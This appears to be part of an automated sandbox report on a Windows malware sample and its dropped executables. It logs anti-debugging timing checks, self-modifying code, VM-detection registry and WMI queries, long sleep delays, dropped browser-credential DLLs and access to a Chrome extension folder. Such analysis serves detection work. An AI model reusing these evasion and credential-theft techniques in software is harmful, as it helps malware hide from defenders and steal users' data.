Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A84D34 second address: A84D53 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FEBF90902F9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A8549B second address: A8549F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A857A0 second address: A857AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A857AD second address: A857B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A857B2 second address: A857CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FEBF90902EFh 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A8705B second address: A87061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A8BB07 second address: A8BB11 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEBF90902ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A8A3F0 second address: A8A3F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A911DA second address: A911DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A9077B second address: A907A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE69h 0x00000007 jo 00007FEBF907CE56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007FEBF907CE5Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A9090E second address: A90912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90912 second address: A90920 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90920 second address: A90926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90926 second address: A90949 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FEBF907CE5Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jp 00007FEBF907CE56h 0x00000019 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90949 second address: A9094D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90D86 second address: A90D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90D8C second address: A90DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902EDh 0x00000009 jmp 00007FEBF90902ECh 0x0000000e popad 0x0000000f jc 00007FEBF90902ECh 0x00000015 jbe 00007FEBF90902E6h 0x0000001b popad 0x0000001c jbe 00007FEBF9090320h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90DC0 second address: A90DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF907CE66h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 jg 00007FEBF907CE56h 0x00000016 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90DE7 second address: A90DEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90F20 second address: A90F2A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEBF907CE5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90F2A second address: A90F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FEBF90902F3h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90F48 second address: A90F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEBF907CE5Ch 0x0000000b popad 0x0000000c js 00007FEBF907CE58h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90F63 second address: A90F68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A90F68 second address: A90F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A91947 second address: A9194C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A9199F second address: A919E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FEBF907CE66h 0x0000000c popad 0x0000000d add dword ptr [esp], 5C7C2176h 0x00000014 adc esi, 07D1B269h 0x0000001a push 6562B8BCh 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FEBF907CE60h 0x00000026 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A91B1A second address: A91B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A91EA2 second address: A91EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A91EAA second address: A91EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A91FE9 second address: A91FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A92515 second address: A9255B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEBF90902E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xchg eax, ebx 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FEBF90902E8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 pushad 0x00000027 mov edx, edi 0x00000029 mov dword ptr [ebp+122D2287h], eax 0x0000002f popad 0x00000030 adc di, 44B4h 0x00000035 mov dword ptr [ebp+122D193Fh], edx 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A9255B second address: A9255F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A9255F second address: A92565 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A92931 second address: A92962 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEBF907CE6Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FEBF907CE5Bh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A92962 second address: A9296C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FEBF90902E6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A9305E second address: A93062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7AF821 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 95B221 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 959A9A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 98096E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9E27D9 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Special instruction interceptor: First address: A8BBC4 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Special instruction interceptor: First address: AAE9E3 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Special instruction interceptor: First address: 8DE8C2 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Special instruction interceptor: First address: B0BB7C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F4BBC4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F6E9E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D9E8C2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FCBB7C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Special instruction interceptor: First address: 9F1931 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Special instruction interceptor: First address: BC25C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Special instruction interceptor: First address: BA749A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Special instruction interceptor: First address: C25EB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Special instruction interceptor: First address: 163C7C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Special instruction interceptor: First address: 18614BC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Special instruction interceptor: First address: 17D18EE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

Code function: 16_2_04C10C04 rdtsc

16_2_04C10C04

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 765
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3480
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3132
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5949
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3824
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 621
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1401
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7398
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2286
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 696
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7151
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2508
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6358
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3279
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6251
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3517
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1730
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 457
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7765
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1935
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6931
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2654

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1010792001\1f49a13412.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1010793001\c1444066db.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10001420101\build.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 2024	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2024	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2016	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2072	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5336	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1792	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1792	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1760	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1760	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3376	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3492	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3492	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2156	Thread sleep count: 765 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2156	Thread sleep time: -1530765s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1380	Thread sleep count: 230 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1380	Thread sleep time: -460230s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7532	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1468	Thread sleep count: 275 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1468	Thread sleep time: -8250000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6492	Thread sleep count: 116 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6492	Thread sleep time: -232116s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1136	Thread sleep count: 3480 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1136	Thread sleep time: -6963480s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5260	Thread sleep count: 3132 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5260	Thread sleep time: -6267132s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3820	Thread sleep count: 340 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3820	Thread sleep time: -680340s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3640	Thread sleep count: 139 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3640	Thread sleep time: -278139s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2532	Thread sleep count: 5949 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2548	Thread sleep count: 3824 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3532	Thread sleep time: -21213755684765971s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4952	Thread sleep count: 621 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4952	Thread sleep count: 1401 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4780	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7356	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6736	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe TID: 7592	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe TID: 7468	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe TID: 7596	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe TID: 988	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe TID: 6292	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe TID: 7576	Thread sleep time: -46023s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5820	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4496	Thread sleep count: 6251 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3884	Thread sleep count: 3517 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 404	Thread sleep time: -25825441703193356s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2144	Thread sleep count: 1730 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3252	Thread sleep count: 457 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3108	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep time: -7378697629483816s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\GCGHCBKFCF.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB4C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CB4C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
